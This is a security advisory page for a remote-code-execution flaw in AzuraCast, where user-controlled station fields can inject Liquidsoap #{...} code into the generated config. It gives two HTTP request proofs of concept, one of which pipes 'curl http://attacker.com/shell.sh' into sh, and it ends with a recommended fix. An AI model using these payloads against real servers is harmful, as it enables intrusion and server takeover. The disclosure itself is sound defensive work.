High

AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs

  • Disclosed: 09.03.2026
  • Updated: 11.10.2026 10:22

Summary

AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.

Root Cause

File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345

php
public static function cleanUpString(?string $string): string
{
    return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}

This function only replaces " with ' and strips newlines. It does NOT filter:

  • #{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)
  • \ — Backslash escape character

Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.

Injection Points

All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:

Field Permission Required Config Line
playlist.remote_url Media input.http("...") or playlist("...")
station.name Profile name = "..."
station.description Profile description = "..."
station.genre Profile genre = "..."
station.url Profile url = "..."
backend_config.live_broadcast_text Profile settings.azuracast.live_broadcast_text := "..."
backend_config.dj_mount_point Profile input.harbor("...")

PoC 1: Via Remote Playlist URL (Media permission)

http
POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>

{
    "name": "Malicious Remote",
    "source": "remote_url",
    "remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
    "remote_type": "stream",
    "is_enabled": true
}

The generated liquidsoap.liq will contain:

liquidsoap
mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))

When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.

PoC 2: Via Station Description (Profile permission)

http
PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>

{
    "name": "My Station",
    "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}

Generates:

liquidsoap
description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"

Trigger Condition

The injection fires when the station is restarted, which happens during:

  • Normal station restart by any user with Broadcasting permission
  • System updates and maintenance
  • azuracast:radio:restart CLI command
  • Docker container restarts

Impact

  • Severity: Critical
  • Authentication: Required — any station-level user with Media or Profile permission
  • Impact: Full RCE on the AzuraCast server as the azuracast user
  • CWE: CWE-94 (Code Injection)

Recommended Fix

Update cleanUpString() to escape # and \:

php
public static function cleanUpString(?string $string): string
{
    return str_replace(
        ['"', "\n", "\r", '\\', '#'],
        ['\'', '', '', '\\\\', '\\#'],
        $string ?? ''
    );
}

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package azuracast/azuracast < 0.23.4 0.23.4

References

CVSS score 8.7/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness (CWE)
CWE-94
Platform
Composer
Package
azuracast/azuracast
Disclosed
09.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-93fx-5qgc-wr38 - CC BY 4.0

Vulnerability history: azuracast/azuracast

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (9) in the archive
Total entries
9
First → latest
04.2023 05.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 4
  • Medium 2
  • Low 2

Disclosures per year

  1. 2023: 2
  2. 2024: 0
  3. 2025: 1
  4. 2026: 6
Severity:
  1. AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs this entry
    High · 8.7 CVE-2026-100857 < 0.23.4 0.23.4
  2. Critical · 9.8 CVE-2023-2531 < 0.18.3 0.18.3

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.